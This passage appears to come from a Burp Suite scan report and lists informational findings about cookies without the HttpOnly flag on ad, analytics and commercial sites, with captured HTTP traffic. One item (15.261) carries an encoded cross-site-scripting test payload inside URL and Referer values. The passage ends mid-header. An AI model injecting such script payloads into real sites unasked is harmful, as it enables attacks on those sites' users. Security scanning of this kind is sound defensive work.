Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/al.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /al.asp?ts=20110205214821&adid=126828%2C0%2C3841%2C121057%2C0%2C0%2C0&cc=us&di=29848192%2C29951564%2C29471372%2C29167950%2C30018856%2C29875388%2C29651480&hk=1&ipid=18400&mh=57f4673cf4ad79544ac753cf0dd004c8&pid=2%2C2%2C2%2C2%2C2%2C2%2C2&pvm=8cc57e88ff824e9e3d4bdb25eca56ba9&pvu=4E02CE94902A497D8EBF5C1016534811&rcc=us&so=0&syid=0%2C0%2C0%2C0%2C0%2C0%2C0&uf=0%2C0%2C0%2C0%2C0%2C0%2C0&ur=0%2C0%2C0%2C0%2C0%2C0%2C0&kp=430%2C971%3B168%2C1189%3B238%2C1238%3B337%2C1717%3B479%2C2214%3B509%2C2742%3B346%2C4628%3B&prf=ll%3A2635%7Cintl%3A2738%7Cpreprochrome%3A2%7Cgetconchrome%3A251%7Ccontint%3A3224%7Ccontl%3A6220%7Cadvint%3A351%7Cadvl%3A6571%7Ctl%3A6773&jscallback=$iTXT.js.callback19 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:48:02 GMT; Path=/
Content-Type: text/javascript
Content-Length: 39
Date: Sat, 05 Feb 2011 21:48:01 GMT
Connection: close

try{$iTXT.js.callback19();}catch(e){}

15.257. http://download32.us.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/
VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 21:47:53 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:47:53 GMT
Connection: close
Content-Length: 10683

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...

15.258. http://dslshop.vodafone.de/eshop/pv/97444194 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dslshop.vodafone.de
Path:	/eshop/pv/97444194

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PV=97444194; Expires=Mon, 21-Feb-2011 17:40:59 GMT; Path=/eshop

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /eshop/pv/97444194?tsID=za1049301 HTTP/1.1
Host: dslshop.vodafone.de
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU5MkMxODc1MjczNzg5UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Date: Sun, 06 Feb 2011 17:40:59 GMT
Server: Apache
Set-Cookie: PV=97444194; Expires=Mon, 21-Feb-2011 17:40:59 GMT; Path=/eshop
P3P: policyref="/eshop/policy.xml", CP=" NOI NID PSAa OUR BUS COM NAV STA"
Content-Length: 436
Content-Type: text/html;charset=ISO-8859-1
Content-Language: de
X-Cache: MISS from sunwebeshop07-2
Via: 1.0 sunwebeshop07-2:81 (squid)
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Vodafone</title>
</head>
<body>
<iframe src="http://www.vodafone.de/cookie-setting-page.html?B_ID=667
...[SNIP]...

15.259. http://eas.statcamp.net/eas previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eas.statcamp.net
Path:	/eas

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

eas_pd_2=c2_99:r44_80:y324_61:b0:z75207:a214:d623; path=/; expires=Mon, 07-Feb-11 05:25:59 GMT;
eas_uid=2-1297009559003747178; path=/; expires=Mon, 16-Mar-20 01:00:00 GMT; domain=.statcamp.net;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.260. http://edge.quantserve.com/quant.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://edge.quantserve.com
Path:	/quant.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

mc=4d4dce43-e3fa1-533c1-60d39; expires=Sat, 05-Feb-2021 22:25:07 GMT; path=/; domain=.quantserve.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /quant.js HTTP/1.1
Host: edge.quantserve.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.261. http://eisenstein.dk/loader/qt.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eisenstein.dk
Path:	/loader/qt.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=NQJKKYS192.168.100.208CKOWQ; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /loader/qt.php?a=11559&h=&n=www.peppernews.eu/%3Fd7d65%22scriptalert%28String.fromCharCode%2888%2C83%2C83%29%29/scriptf6336f06cd4%3D1&type=200&cw=328795&pID=11909&cID=us&vID=5731&v=50&psid=&poR=burp%2Fshow%2F97&poS=www.peppernews.eu%2F%3Fd7d65%2522scriptalert%28String.fromCharCode%2888%2C83%2C83%29%29%2Fscriptf6336f06cd4%3D1 HTTP/1.1
Host: eisenstein.dk
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.208CKOWQ; path=/
Date: Sun, 06 Feb 2011 17:52:45 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Set-Cookie: countryID=us; expires=Mon, 06-Feb-2012 17:52:45 GMT; path=/; domain=eisenstein.dk
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

15.262. http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi=[CS]v1|26A750378501229E-6000011480279D0C[CE]; Expires=Fri, 5 Feb 2016 13:21:51 GMT; Domain=enterprisemediagroup.112.2o7.net; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/emgrelatedcontent/1/H.19.4/s23179186573252?AQB=1&ndh=1&t=6/1/2011%207%3A22%3A20%200%20360&ce=ISO-8859-1&ns=enterprisemediagroup&pageName=Related%20Content%20Widget&g=http%3A//www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&r=http%3A//burp/show/45&cc=USD&c1=Related%20Content%20Widget&c2=Macy%27s%20Ramps%20Up%20Online%20Operations%20-%20IT%20Management%20-%20News%20%26%20Reviews%20-%20Baseline.com&c4=www.baselinemag.com&c13=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: enterprisemediagroup.112.2o7.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]; s_vi_x7Fx7Ex7Cyx7Eux3Dx7Bux7Ex3Dcduyx7E=[CS]v4|26A0E5B58501123C-400001062000534C|4D41CB69[CE]; s_vi_kx60gx60w=[CS]v4|26A20C60051617F4-40000183C02A4478|4D4418BF[CE]; s_vi_maitcx7Cibx7Cx7Ech=[CS]v4|26A62673051D24FA-40000102A01BFE08|4D4C4CE1[CE]; s_vi_mx7Eqqsvax7Edtx7Fvyyrx7Bx7Eydx7Esre=[CS]v4|26A6AAA485161A8B-40000177E007F5AA|4D4D5548[CE]; s_vi_x60sqyabsqwx7Fx7Daax7Dfwaf=[CS]v4|26A6B50A85011110-6000010AA002E73C|4D4D6A14[CE]; s_vi_jyx7Bskhyx7Bx7Dx7Ftwzytjyx7Bskhyx7Bx7D=[CS]v4|26A6B52B85011D42-6000010FC0072A22|4D4D6A14[CE]; s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 13:21:51 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|26A750378501229E-6000011480279D0C[CE]; Expires=Fri, 5 Feb 2016 13:21:51 GMT; Domain=enterprisemediagroup.112.2o7.net; Path=/
Location: http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252?AQB=1&pccr=true&vidn=26A750378501229E-6000011480279D0C&&ndh=1&t=6/1/2011%207%3A22%3A20%200%20360&ce=ISO-8859-1&ns=enterprisemediagroup&pageName=Related%20Content%20Widget&g=http%3A//www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&r=http%3A//burp/show/45&cc=USD&c1=Related%20Content%20Widget&c2=Macy%27s%20Ramps%20Up%20Online%20Operations%20-%20IT%20Management%20-%20News%20%26%20Reviews%20-%20Baseline.com&c4=www.baselinemag.com&c13=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1001&bh=1031&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1
X-C: ms-4.3.1
Expires: Sat, 05 Feb 2011 13:21:51 GMT
Last-Modified: Mon, 07 Feb 2011 13:21:51 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www164
Content-Length: 0
Content-Type: text/plain

15.263. http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi_tx7Cvctx7Dpeturx7Ex7Fetx7Fe=[CS]v4|0-0|4D4EC5CE[CE]; Expires=Fri, 5 Feb 2016 16:01:18 GMT; Domain=.2o7.net; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.264. http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi_tx7Cvctx7Dpeturx7Ex7Fetx7Fe=[CS]v4|0-0|4D4EC5CF[CE]; Expires=Fri, 5 Feb 2016 16:01:19 GMT; Domain=.2o7.net; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.265. http://friendfeed.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://friendfeed.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

AT=10242252284317811914_1296946152; Domain=.friendfeed.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: friendfeed.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.266. http://fusion.google.com/add previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fusion.google.com
Path:	/add

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PREF=ID=02fc56ae97a8e7df:TM=1297008079:LM=1297008079:S=aeM56B3JHXvgy9fK; expires=Tue, 05-Feb-2013 16:01:19 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /add HTTP/1.1
Host: fusion.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.267. http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://groups.google.com
Path:	/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PREF=ID=388b6895f2f5e916:TM=1296946162:LM=1296946162:S=pCk0TmWO-Wx5Tg3L; expires=Mon, 04-Feb-2013 22:49:22 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.268. http://hiltonworldwide1.hilton.com/en_US/ww/customersupport/privacy-policy.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://hiltonworldwide1.hilton.com
Path:	/en_US/ww/customersupport/privacy-policy.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_qse-qgt=44153d5f3660;expires=Sat, 05-Feb-11 23:00:24 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en_US/ww/customersupport/privacy-policy.do HTTP/1.1
Host: hiltonworldwide1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: Apache
Location: http://www1.hilton.com/en_US/hi/customersupport/privacy-policy.do
Content-Length: 273
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 22:49:24 GMT
Connection: close
Set-Cookie: NSC_qse-qgt=44153d5f3660;expires=Sat, 05-Feb-11 23:00:24 GMT;path=/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www1.hilton.com/
...[SNIP]...

15.269. https://home.americanexpress.com/home/corporations.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/corporations.shtml

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

SaneID=64.215.162.185-1296942649572222; path=/; expires=Tue, 09-Feb-16 21:50:49 GMT; domain=.americanexpress.com
bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /home/corporations.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.270. https://home.americanexpress.com/home/global_splash.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/global_splash.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /home/global_splash.html HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.271. https://home.americanexpress.com/home/mt_personal.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/mt_personal.shtml

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

SaneID=64.215.162.185-1296942666498249; path=/; expires=Tue, 09-Feb-16 21:51:06 GMT; domain=.americanexpress.com
bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:51:06 GMT; path=/; domain=.americanexpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /home/mt_personal.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.272. http://i.w55c.net/rs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i.w55c.net
Path:	/rs

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 22:30:45 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.273. http://idcs.interclick.com/Segment.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://idcs.interclick.com
Path:	/Segment.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sgm=9583=734162&8278=734163&8069=734172&7596=734172&6159=734172&10272=734172; domain=.interclick.com; expires=Fri, 05-Feb-2021 21:50:15 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.274. http://idpix.media6degrees.com/orbserv/hbpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://idpix.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
clid=2lebnns011706ch47d7o8wtv1udrf01110040609208; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
rdrlst=4150o2ylebnns00000011100407dpletz4d0000000x100410e5lg1nei0000000710040mmnlebnns00000011100410rdlg1vir0000000610040x1blebnns0000001110040xo1lebnns0000001110040eh5lf17qf0000000t100406bylemlne0000000z10040w3clebnns00000011100407gmlebnns0000001110040jv6lebnns0000001110040j4ilew2e20000000v10040xthlebnns0000001110040fullf8gij0000000p100410f6lg1nei0000000710041196lfzx0l00000008100400c9lfk1rn0000000m10040jillebnns0000001110041194lg3y5y0000000510040fuqlegh2b0000001010040b6mlf17qk0000000s10040mz1lebnns0000001110040cajlfk1rn0000000m10040p7vlebnns00000011100407vglfk1rn0000000m10040xvslebnns0000001110041192lg5l2h00000004100410ellg1nei0000000710040xuklebnns0000001110040jk7lebnns0000001110040x1jlebnns0000001110040yiplebnns0000001110040cbnlfk1rn0000000m10040xwflebnns0000001110040yh0lebnns00000011100410telg60j60000000210020e4vlebnns00000011100410e9lg1nei0000000710040xwblebnns0000001110040jwblfk1rn0000000m1004; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000r1004060920882gletz4d0pqa500a0l000400100ag2leqh191fkdy00y1004060920882hlebnns1ucve00z100006002009zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mb4o00n10040609208820lebnns181qq00e0l000400100b0olfjpei0mb4o00n10040609208ab4lebnns1ucve011100406092089szlebnns1ucve011100406092088wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw01010040609208al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0mb4o00n100406092088bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1ucve00k10000600200b08lfjpei0mb4o00n1004060920840slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000o1004060920840uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1ucve00g100206022029atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: clid=2lebnns011706ch47d7o8wtv1udrf01110040609208; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: orblb=2lfk1rn0225810u020lxik0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: rdrlst=4150o2ylebnns00000011100407dpletz4d0000000x100410e5lg1nei0000000710040mmnlebnns00000011100410rdlg1vir0000000610040x1blebnns0000001110040xo1lebnns0000001110040eh5lf17qf0000000t100406bylemlne0000000z10040w3clebnns00000011100407gmlebnns0000001110040jv6lebnns0000001110040j4ilew2e20000000v10040xthlebnns0000001110040fullf8gij0000000p100410f6lg1nei0000000710041196lfzx0l00000008100400c9lfk1rn0000000m10040jillebnns0000001110041194lg3y5y0000000510040fuqlegh2b0000001010040b6mlf17qk0000000s10040mz1lebnns0000001110040cajlfk1rn0000000m10040p7vlebnns00000011100407vglfk1rn0000000m10040xvslebnns0000001110041192lg5l2h00000004100410ellg1nei0000000710040xuklebnns0000001110040jk7lebnns0000001110040x1jlebnns0000001110040yiplebnns0000001110040cbnlfk1rn0000000m10040xwflebnns0000001110040yh0lebnns00000011100410telg60j60000000210020e4vlebnns00000011100410e9lg1nei0000000710040xwblebnns0000001110040jwblfk1rn0000000m1004; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 22:35:31 GMT; Path=/
Set-Cookie: sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000r1004060920882gletz4d0pqa500a0l000400100ag2leqh191fkdy00y1004060920882hlebnns1ucve00z100006002009zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0mb4o00n10040609208820lebnns181qq00e0l000400100b0olfjpei0mb4o00n10040609208ab4lebnns1ucve011100406092089szlebnns1ucve011100406092088wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pkcw01010040609208al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0mb4o00n100406092088bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1ucve00k10000600200b08lfjpei0mb4o00n1004060920840slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000o1004060920840uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns1ucve00g100206022029atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 